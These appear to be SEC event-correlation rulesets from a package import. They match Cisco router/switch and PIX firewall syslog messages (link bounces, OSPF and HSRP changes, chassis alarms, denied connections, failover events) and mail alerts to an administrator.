# this rule handles the SNMP authentication failures
# only one notification is sent for each source that is doing this per day
#
type=singleWithSuppress
ptype=regexp
pattern=(\S+) \d+:.*?%SNMP-3-AUTHFAIL: Authentication failure for SNMP req from host (\S+)
desc=(WARNING) Auth fail coming from $2
action=pipe '%s' mail -s 'cisco event' root at example.com
window=86400

# ----- process OSPF neighbor change events -----

# This rule handles OSPF neighbor changes
#
type=single
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%OSPF-5-ADJCHG:.*?Nbr (\S+) on (\S+) from (\S+) to (\S+), (.*)
desc=(MINOR) OSPF adjacency change: Router $1 reports that the neighbor on $3 ($2) changed from state $4 to state $5 detail:$6
action=event %s; pipe '%s' mail -s 'cisco event' root at example.com

# This rule escalates to CRITICAL if there are more than 5 neighbor changes 
# in 5 seconds
# 
type=SingleWithThreshold
ptype=substr
pattern=(MINOR) OSPF adjacency change
desc=(CRITICAL) More than 5 OSPF neighbor changes in 5 seconds
action=pipe '%s' mail -s 'cisco event' root at example.com
thresh=5
window=5

# ----- process HSRP events -----

# This rule assembles together all HSRP events
# 
type=single
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%STANDBY-6-STATECHANGE: (\S+).*?state (\S+) -> (\S+)
desc=HSRP change for $1 interface $2 - changed from $3 to $4
action=add HSRP_$1 %t: %s; set HSRP_$1 5 (report HSRP_$1 mail -s 'cisco events' root at example.com)

# ----- process duplex mismatch events -----

# this rule handles the duplex mismatch event
# only one notification is sent for each port that has duplex mismatch 
# reported per day
#
type=singleWithSuppress
ptype=regexp
pattern=(\S+) \d+:.*?%CDP-4-DUPLEX_MISMATCH: duplex mismatch discovered on (not \S+) \((.*?)\), with (\S+) (\S+) \((.*?)\)
desc=(WARNING) Duplex mismatch between $1 port $2 ($3), other side is $4 port $5 ($6)
action=pipe '%s' mail -s 'cisco event' root at example.com
window=86400

# ----- process link down and link up events -----

# This rule deals with link down events
# 
type=PairWithWindow
ptype=RegExp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%LINK-3-UPDOWN: Interface (\S+), changed state to down
desc=(MINOR) $1 INTERFACE $2 DOWN and not up in one minute
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=RegExp
pattern2=($1)\s+\d+:.*?%LINK-3-UPDOWN: Interface ($2), changed state to up
desc2=(WARNING) %1 INTERFACE %2 BOUNCE
action2=event %s
window=60

# when the first bounce event is seen, create a reporting trigger 
#
type=Single
continue=TakeNext
ptype=regexp
pattern=(\S+) INTERFACE \S+ BOUNCE
context=!INTERFACE_BOUNCE_WAIT_$1
desc=interface bounce summary event for router $1
action=create INTERFACE_BOUNCE_WAIT_$1 10 (report INTERFACE_BOUNCE_$1 mail -s 'cisco events' root at example.com; delete INTERFACE_BOUNCE_$1)

# accumulate all interface bounce events into a context
#
type=Single
ptype=regexp
pattern=(\S+) INTERFACE (\S+) BOUNCE
desc=interface bounce for router $1 interface $2 detected
action=add INTERFACE_BOUNCE_$1 %t: %s

# ----- process line protocol down and line protocol up events -----

# This rule deals with protocol up/down events
#
type=PairWithWindow
ptype=RegExp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%LINEPROTO-5-UPDOWN: Line protocol on Interface (\S+), changed state to down
desc=(MINOR) $1 INTERFACE $2 line protocol DOWN and not up in one minute
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=RegExp
pattern2=($1)\s+\d+:.*?%LINEPROTO-5-UPDOWN: Line protocol on Interface ($2), changed state to up
desc2=(WARNING) %1 INTERFACE %2 line protocol BOUNCE
action2=event %s
window=60

# when the first bounce event is seen, create a reporting trigger 
#
type=Single
continue=TakeNext
ptype=regexp
pattern=(\S+) INTERFACE \S+ line protocol BOUNCE
context=!LINE_PROTOCOL_BOUNCE_WAIT_$1
desc=line protocol bounce for router $1
action=create LINE_PROTOCOL_BOUNCE_WAIT_$1 10 (report LINE_PROTOCOL_BOUNCE_$1 mail -s 'cisco events' root at example.com; delete LINE_PROTOCOL_BOUNCE_$1)

# accumulate all line protocol bounce events into a context
#
type=Single
ptype=regexp
pattern=(\S+) INTERFACE (\S+) line protocol BOUNCE
desc=line protocol bounce for router $1 interface $2 detected
action=add LINE_PROTOCOL_BOUNCE_$1 %t: %s

# ----- process late collision events -----

# Late collision alerts 
# 
type=SingleWithThreshold
ptype=RegExp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%PM_SCP-SP-4-LCP_FW_ABLC: Late collision message from module (\d+), port:(\d+)
desc=(MINOR) Multiple late collision events on $1 module $2 port $3
action=pipe '%s' mail -s 'cisco event' root at example.com
window=3600
thresh=5

# ----- process host flap events -----

# host flapping on single vlan 
# 
type=SingleWithThreshold
continue=TakeNext
ptype=RegExp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%C4K_EBM-4-HOSTFLAPPING: Host (\S+) in vlan (\S+) is flapping between port (\S+) and port (\S+)
desc=(MINOR) multiple hosts flapping between ports $4 and $5 in $1 vlan $3
action=pipe '%s' mail -s 'cisco event' root at example.com
window=300
thresh=5

# host flapping on multiple vlans 
# 
type=SingleWithThreshold
continue=TakeNext
ptype=RegExp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%C4K_EBM-4-HOSTFLAPPING: Host (\S+) in vlan (\S+) is flapping between port (\S+) and port (\S+)
desc=(MINOR) multiple hosts are flapping between ports $4 and $5 in $1 (potentially on multiple VLANs)
action=pipe '%s' mail -s 'cisco event' root at example.com
window=300
thresh=20

# ----- process misc hw events -----

# %FILESYS-SP-STDBY-5-DEV:# flash disk removal
#
type=single
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%FILESYS-SP-STDBY-5-DEV:.*?PCMCIA flash card removed from (\S+)
desc=(WARNING) Flash card removed from $1 $2
action=pipe '%s' mail -s 'cisco event' root at example.com

# %OIR-SP-STDBY-6-CONSOLE
#
type=suppress
ptype=substr
pattern=%OIR-SP-STDBY-6-CONSOLE
desc=console access to route processor changed

# %OIR-SP-6-INSCARD:  - card inserted 
#
type=single
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%OIR-SP-6-INSCARD: Card inserted in slot (\d+), (.*)
desc=(HARMLESS) card inserted in $1 slot $2 status:$3
action=pipe '%s' mail -s 'cisco event' root at example.com 

# ----- process module events -----

# %DIAG-SP-3-TEST_FAIL - diagnostics failed on a module
#
type=single
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%DIAG-SP-3-TEST_FAIL: Module (\d+): (.*)
desc=(WARNING) diagnostics failed for $1 module $2 detail:$3
action=pipe '%s' mail -s 'cisco event' root at example.com

# %SNMP-5-MODULETRAP
# Looks for a module down followed by module up event
# 
type=pairWithWindow
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%SNMP-5-MODULETRAP: Module (\d+) [Down] Trap
desc=(MINOR) $1 Module DOWN (not back up in a minute)
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=regexp
pattern2=($1) .*? %SNMP-5-MODULETRAP: Module ($2) [Up] Trap
desc2=(WARNING) $1 Module $2 BOUNCE (down and back up within a minute)
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=60

# ----- process irrelevant events (by suppressing) -----

# %SYS-SP-STDBY-5-RESTART - system restarted part of the boot - interesting?
# 
type=suppress
ptype=substr
pattern=SYS-SP-STDBY-5-RESTART
desc=system restarted

# %DIAG-SP-6-TEST_RUNNING - Running system test
# 
type=suppress
ptype=substr
pattern=%DIAG-SP-6-TEST_RUNNING
desc=running diagnostics on a module

# %FABRIC-SP-5-FABRIC_MODULE_BACKUP - module changed to backup state
# 
type=suppress
ptype=substr
pattern=%FABRIC-SP-5-FABRIC_MODULE_BACKUP
desc=module became backup

# %DIAG-SP-6-RUN_MINIMUM - diagnostics are run
# 
type=suppress
ptype=substr
pattern=%DIAG-SP-6-RUN_MINIMUM
desc=diagnostics running on switch

# %DIAG-SP-6-DIAG_OK - diagnostics results are OK
# 
type=suppress
ptype=substr
pattern=%DIAG-SP-6-DIAG_OK
desc=diagnostics results are OK

# %PFREDUN-SP-STDBY-6-STANDBY - SSO events
# 
type=suppress
ptype=substr
pattern=%PFREDUN-SP-STDBY-6-STANDBY
desc=SSO event (startup)

# %PFREDUN-SP-STDBY-6-STANDBY - SSO events
# 
type=suppress
ptype=substr
pattern=%PFREDUN-SP-6-ACTIVE
desc=SSO event (startup)

# %FABRIC-SP-5-FABRIC_MODULE_BACKUP: - secondary sup is up and is secondary
# 
type=suppress
ptype=substr
pattern=%FABRIC-SP-5-FABRIC_MODULE_BACKUP:
desc=secondary sup is up and is secondary

# %PFINIT-SP-5-CONFIG_SYNC - startup config on standby router sync
# 
type=suppress
ptype=substr
pattern=%PFINIT-SP-5-CONFIG_SYNC
desc=startup config on standby router sync

# %C4K_REDUNDANCY - Cayt 4K configuration/vlan database succesful sync
# the success match is to allow fails in sync to not be suppress
# 
type=suppress
ptype=regexp
pattern=%C4K_REDUNDANCY.*?success
desc=config sync with standby supervisor

# %SCP-SP-5-ASYNC_WATERMARK: SCP long queue wait
# the success match is to allow fails in sync to not be suppress
# 
type=suppress
ptype=substr
pattern=%SCP-SP-5-ASYNC_WATERMARK:
desc=SCP control protocol pending queue is longer than notification threshold

# %MLS_RATE-4-DISABLING: - Layer2 Rate Limiters have been disabled. Is this interesting?
#
type=suppress
ptype=substr
pattern=%MLS_RATE-4-DISABLING:
desc=Layer2 Rate Limiters have been disabled

# ----- process native VLAN mismatch events -----

# %CDP-4-NATIVE_VLAN_MISMATCH: - native VLAN mismatch between switches, will repeat every minute until fixed
#
type=singleWithSuppress
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%CDP-4-NATIVE_VLAN_MISMATCH: Native VLAN mismatch discovered on (\S+) \((\d+)\), with (\S+) (\S+) \((\d+)\)
desc=(MINOR) A native VLAN mistmatch reported between $1 interface $2 (native VLAN $3) and host $4 interface $5 (native VLAN $6)
action=pipe '%s' mail -s 'cisco event' root at example.com
window=60

# ----- process snmp trapblock messages -----

# %SNMP-3-TRAPBLOCK - A process tried to create a trap it is not entitled to create
# See Cisco http://www.cisco.com/cgi-bin/Support/Errordecoder/index.cgi?action=search&counter=0&paging=5&query=SNMP-3-TRAPBLOCK
# 
type=suppress
ptype=substr
pattern=%SNMP-3-TRAPBLOCK
desc=a process tried to create a trap it is not entitled to create

# ----- process chassis alarm events -----

# %SNMP-5-CHASSISALARM - this rule handles the tmpAlarm
#
type=pairWithWindow
continue=takeNext
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%SNMP-5-CHASSISALARM: Chassis Alarm Trap: tmpAlarm\(ON\)
desc=(MINOR) $1 temprature alarm signaled and not cleared in five minutes
action=pipe '%s' mail -s 'cisco event' root at example.com
continue2=takeNext
ptype2=regexp
pattern2=\d+:\d+:\d+.*?($1)\s+\d+:.*%SNMP-5-CHASSISALARM: Chassis Alarm Trap: tmpAlarm\(OFF\)
desc2=(WARNING) $1 temprature alarm went on and was cleared in under five minutes
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=300

# %SNMP-5-CHASSISALARM - this rule handles the minorAlarm
#
type=pairWithWindow
continue=takeNext
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%SNMP-5-CHASSISALARM: Chassis Alarm Trap: .*? minorAlarm\(ON\)
desc=(MINOR) $1 minor alarm reported and not cleared in three minutes
action=pipe '%s' mail -s 'cisco event' root at example.com
continue2=takeNext
desc2=(WARNING) $1 minor alarm went on and was cleared in under three minutes
ptype2=regexp
pattern2=\d+:\d+:\d+.*?($1)\s+\d+:.*?%SNMP-5-CHASSISALARM: Chassis Alarm Trap: .*? minorAlarm\(OFF\)
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=180	

# %SNMP-5-CHASSISALARM - this rule handles the majorAlarm
#
type=pairWithWindow
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%SNMP-5-CHASSISALARM: Chassis Alarm Trap: .*? majorAlarm\(ON\)
desc=(MINOR) $1 major alarm signaled and not cleared in two minutes
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=regexp
pattern2=\d+:\d+:\d+.*?($1)\s+\d+:.*?%SNMP-5-CHASSISALARM: Chassis Alarm Trap: .*? majorAlarm\(OFF\)
desc2=(WARNING) $1 major alarm went on and was cleared in under two minutes
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=120

# ----- process power supply related events -----

# %C4K_IOSMODPORTMAN events - this one is about power supplies only 
#
type=pairWithWindow
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%C4K_IOSMODPORTMAN-4-POWERSUPPLYBAD: Power Supply (\d+) has failed or been turned off
desc=(MINOR) $1 power supply $2 reported bad and event not cleared in two minutes
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=regexp
pattern2=($1) .*? %C4K_IOSMODPORTMAN-6-POWERSUPPLYGOOD: Power Supply ($2) is Okay
desc2=(WARNING) $1 power supply $2 alarm went on and was cleared in under two minutes
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=120

# ----- process neighbor down and neighbor up events -----

# %DVMRP-5-NBRDOWN
#
type=pairWithWindow
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%DVMRP-5-NBRDOWN: Neighbor (\S+) went down on (\S+)
desc=(MINOR) $1 lost DVMRP neighbor $2 on interface $3 and it did not come up in two minutes
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=regexp
pattern2=($1) .*? %DVMRP-5-NBRUP: Neighbor ($2) is up on ($3)
desc2=(WARNING) $1 lost DVMRP neighbor $2 on interface $3 but id come up within two minutes
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=120

# ----- process fan power supply failure/ok events -----

# %C6KENV-SP-4-PSFANF events - this one is about fan failures
#
type=pairWithWindow
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%C6KENV-SP-4-PSFANFAILED: the fan in power supply (\d+) has failed
desc=(MINOR) $1 fan in power supply $2 was reported bad and event not cleared in two minutes
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=regexp
pattern2=($1) .*? %C6KENV-SP-4-PSFANOK: the fan in power supply (\d+) is OK
desc2=(WARNING) $1 fan in power supply $2 alarm went on and was cleared in under two minutes
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=120

# ----- process events that have not been matched by any of above rules -----

# Default match
# this rule will match anything not previously matched but allows only 
# one notification per day for each new event class seen
#
type=singleWithSuppress
ptype=regexp
pattern=(%.*?:)
desc=$1
action=pipe '$0' mail -s 'cisco event' root at example.com
window=86400


--- NEW FILE import.log ---
sec-2_5_2-1_fc11:F-11:sec-2.5.2-1.fc11.src.rpm:1254640115


--- NEW FILE pix-general.sec ---
####################################################################
#                SEC ruleset for Cisco PIX 6.x, 7.x, FWSM 2.x
#
# Copyright (C) 2003-2009 Colin Hudler
# This is free software. You may redistribute copies of it under the terms of 
# the GNU General Public License version 2.
# There is NO WARRANTY, to the extent permitted by law.
####################################################################

# Process various events from PIX syslog output
# 
# TODO -- A few FWSM log lines will not match.

# Setup our variables -- not the right way to do this?  Needs tweaking for your log lines
type=Single
ptype=RegExp
pattern=^(.* [0-9].:[0-9].:[0-9].) (.*)\.yourdomain\.edu.*?%(PIX|FWSM)-[0-9]-.*?:(.*)
desc=PIXLOG $2^ $1 $4
action=event %s

# 106001
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Inbound TCP connection denied from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+).*
desc=PIX $1 TCP connection denid HAMMER $2 to $3
action=create ham1_$1; add ham1_$1 %t; add ham1_$1 %s;add ham1_$1 %s; add ham1_$1 $0; report ham1_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham1_$1
window=10
thresh=6

# 106006
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Connection denied by outbound list.*src (\d+.\d+.\d+.\d+) dest (\d+.\d+.\d+.\d+)
desc=PIX $1 denied by list HAMMER $2 to $3
action=create ham2_$1; add ham2_$1 %t; add ham2_$1 %s; add ham2_$1 $0; report ham2_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham2_$1
window=10
thresh=6

# 106007
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny inbound UDP from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+) due to DNS.*
desc=PIX $1 Denied inbound UDP HAMMER $2 to $3
action=create ham3_$1; add ham3_$1 %t; add ham3_$1 %s; add ham3_$1 $0; report ham3_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham3_$1
window=10
thresh=6

# 106010
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny inbound.*src.*:(\d+.\d+.\d+.\d+\/\d+) dst.*:(\d+.\d+.\d+.\d+\/\d+).*
desc=PIX $1 Denied inbound HAMMER $2 to $3
action=create ham4_$1; add ham4_$1 %t; add ham4_$1 %s; add ham4_$1 $0; report ham4_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham4_$1
window=10
thresh=6

# 106012
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny IP from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+), IP options.*
desc=PIX $1 Denied IP Options HAMMER $2 to $3
action=create ham5_$1; add ham5_$1 %t; add ham5_$1 %s; add ham5_$1 $0; report ham5_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham5_$1
window=10
thresh=6

# 106013
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Dropping echo request from (\d+.\d+.\d+.\d+) to PAT address 
desc=PIX $1 Echo HAMMER $2 to PAT Address
action=create ham6_$1; add ham6_$1 %t; add ham6_$1 %s; add ham6_$1 $0; report ham7_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham8_$1
window=10
thresh=6

# 106014
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny inbound icmp src.*: (\d+.\d+.\d+.\d+) dst.*: (\d+.\d+.\d+.\d+)
desc=PIX $1 Deny inbound ICMP HAMMER $2 to $3
action=create ham9_$1; add ham9_$1 %t; add ham9_$1 %s; add ham9_$1 $0; report ham9_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham9_$1
window=10
thresh=6

# 106015
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny.*\(no connection\) from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+)
desc=PIX $1 Deny (no connection) HAMMER $2 to $3
action=create ham10_$1; add ham10_$1 %t; add ham10_$1 %s; add ham10_$1 $0; report ham10_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham10_$1
window=10
thresh=30

# 106016,106017,106020,106021,106022 is further down this list...

# 106018
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*ICMP packet type.*denied by outbound list.*src (\d+.\d+.\d+.\d+) dest (\d+.\d+.\d+.\d+)
desc=PIX $1 Deny ICMP type HAMMER $2 to $3
action=create ham11_$1; add ham11_$1 %t; add ham11_$1 %s; add ham11_$1 $0; report ham11_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham11_$1
window=10
thresh=6

# 106023
#Deny udp src outside:128.135.93.11/137 dst inside:128.135.211.65/137 by access-group "inward"
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny.*src.*:(\d+.\d+.\d+.\d+\/\d+) dst.*:(\d+.\d+.\d+.\d+\/\d+) by .*
desc=PIX $1 Deny by ACL HAMMER $2 to $3
action=create ham12_$1; add ham12_$1 %t; add ham12_$1 %s; add ham12_$1 $0; report ham12_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham12_$1
window=10
thresh=32

# This is broken... still fix? TODO
# 106001 -- Report
#type=SingleWithThreshold
#continue=takenext
#ptype=RegExp
#pattern=^PIXLOG (\S+)\^ .*(Inbound TCP connection denied from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+).*)|\
#(Connection denied by outbound list.*src (\d+.\d+.\d+.\d+) dest (\d+.\d+.\d+.\d+))|\
#(Deny inbound UDP from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+) due to DNS)|\
#(Deny inbound.*src.*:(\d+.\d+.\d+.\d+\/\d+) dst.*:(\d+.\d+.\d+.\d+\/\d+))|\
#(Deny IP from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+), IP options)|\
#(Dropping echo request from (\d+.\d+.\d+.\d+) to PAT address)|\
#(Deny inbound icmp src.*: (\d+.\d+.\d+.\d+) dst.*: (\d+.\d+.\d+.\d+))|\
#(Deny.*\(no connection\) from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+))|\
#(ICMP packet type.*denied by outbound list.*src (\d+.\d+.\d+.\d+) dest (\d+.\d+.\d+.\d+))|\
#(Deny.*src.*:(\d+.\d+.\d+.\d+\/\d+) dst.*:(\d+.\d+.\d+.\d+\/\d+) by )
#desc=PIX Conn Denied 10 times from $2
#action=create rpt_$1; add rpt_$1 %t; add rpt_$1 %s;add rpt_$1 %s; add rpt_$1 $0; report rpt_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rpt_$1
#window=10
#thresh=30

# 101002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Bad failover cable.
desc=PIX $1 Bad Failover Cable
action=create bfc_$1; add bfc_$1 %t; add bfc_$1 %s; add bfc_$1 $0; report bfc_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete bfc_$1

# 101003/4
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Failover cable not connected
desc=PIX $1 Failover cable gone
action=create nfc_$1; add nfc_$1 %t; add nfc_$1 %s; add nfc_$1 $0; report nfc_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete nfc_$1

# 101005
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Error reading failover cable status
desc=PIX $1 Failover cable ERROR
action=create fce_$1; add fce_$1 %t; add fce_$1 %s; add fce_$1 $0; report fce_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fce_$1

# 102001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Power failure/System reload
desc=PIX $1 Peer Lost Power
action=create fpp_$1; add fpp_$1 %t; add fpp_$1 %s; add fpp_$1 $0; report fpp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fpp_$1

# 103001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*No response from other firewall
desc=PIX $1 Peer Gone Away
action=create fnp_$1; add fnp_$1 %t; add fnp_$1 %s; add fnp_$1 $0; report fnp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fnp_$1

# 103003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Other firewall network interface (\S+) failed
desc=PIX $1 Peer interface $2 died
action=create fpi_$1; add fpi_$1 %t; add fpi_$1 %s; add fpi_$1 $0; report fpi_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fpi_$1

# 103004
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Other firewall reports this firewall failed
desc=PIX $1 Peer says I failed
action=create fif_$1; add fif_$1 %t; add fif_$1 %s; add fif_$1 $0; report fif_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fif_$1

# 103005
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Other firewall reporting failure
desc=PIX $1 Peer reports failure
action=create fpf_$1; add fpf_$1 %t; add fpf_$1 %s; add fpf_$1 $0; report fpf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fpf_$1

# 104001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*(Primary|Secondary) Switching to ACTIVE \(cause: (.*)\)
desc=PIX $1 FAILOVER! Becoming ACTIVE because $2
action=create fba_$1; add fba_$1 %t; add fba_$1 %s; add fba_$1 $0; report fba_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fba_$1

# 104002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*(Primary|Secondary) Switching to STNDBY \(cause: (.*)\)
desc=PIX $1 FAILOVER! Becoming STNDBY because $2
action=create fbs_$1; add fbs_$1 %t; add fbs_$1 %s; add fsb_$1 $0; report fbs_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fbs_$1

# 104003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Switching to FAILED
desc=PIX $1 IN FAILED STATE!
action=create ffs_$1; add ffs_$1 %t; add ffs_$1 %s; add ffs_$1 $0; report ffs_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ffs_$1

# 104004
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Switching to OK.
desc=PIX $1 Failed Unit is ok
action=create ffs_$1; add ffs_$1 %t; add ffs_$1 %s; add ffs_$1 $0; report ffs_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ffs_$1

# 105005
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Lost Failover communications with mate on interface
desc=PIX $1 Peer Gone Away
action=create fnp_$1; add fnp_$1 %t; add fnp_$1 %s; add fnp_$1 $0; report fnp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fnp_$1

# 105007
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Link status \'Down\' on interface (\S+).*
desc=PIX $1 interface $2 is DOWN
action=create ind_$1; add ind_$1 %t; add ind_$1 %s; add ind_$1 $0; report ind_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ind_$1

# 105011
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Failover cable communication failure
desc=PIX $1 Failver cable failed
action=create fcf_$1; add fcf_$1 %t; add fcf_$1 %s; add fcf_$1 $0; report fcf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fcf_$1

# 105021
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Standby unit failed to sync due to a locked (\S+) config. Lock held by (\S+)
desc=PIX $1 Failover Sync failed because $2 is locked by $3
action=create lck_$1; add fcf_$1 %t; add fcf_$1 %s; add lck_$1 $0; report lck_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete lck_$1

# 10532
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LAN Failover interface is down
desc=PIX $1 Failover interface is down
action=create fin_$1; add fin_$1 %t; add fin_$1 %s; add fin_$1 $0; report fin_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fin_$1

# 10535
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Receive a LAN failover interface down msg from peer.
desc=PIX $1 Failover Peer reports LAN interface down
action=create fin_$1; add fin_$1 %t; add fin_$1 %s; add fin_$1 $0; report fin_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fin_$1

# 10536
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*dropped a LAN Failover command message.
desc=PIX $1 Failover Dropped a LAN packet
action=create fdr_$1; add fdr_$1 %t; add fdr_$1 %s; add fdr_$1 $0; report fdr_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fdr_$1

# 10537
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*The primary and standby units are switching back 
desc=PIX $1 Failover: primary and standby units are switching back
action=create fsw_$1; add fsw_$1 %t; add fsw_$1 %s; add fsw_$1 $0; report fsw_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fsw_$1

# 10543
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Failover interface failed
desc=PIX $1 Failover LAN Interface is down!
action=create fin_$1; add fin_$1 %t; add fin_$1 %s; add fin_$1 $0; report fin_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fin_$1

# messages from 106001 moved to top

# 106011
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny inbound (No xlate).*
desc=PIX $1 Same-Side Traffic Attack
action=create sst_$1; add sst_$1 %t; add sst_$1 %s; add sst_$1 $0; report sst_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete sst_$1

# 106016
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny IP spoof from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+) on interface 
desc=PIX $1 IP Spoof from $2 to $3
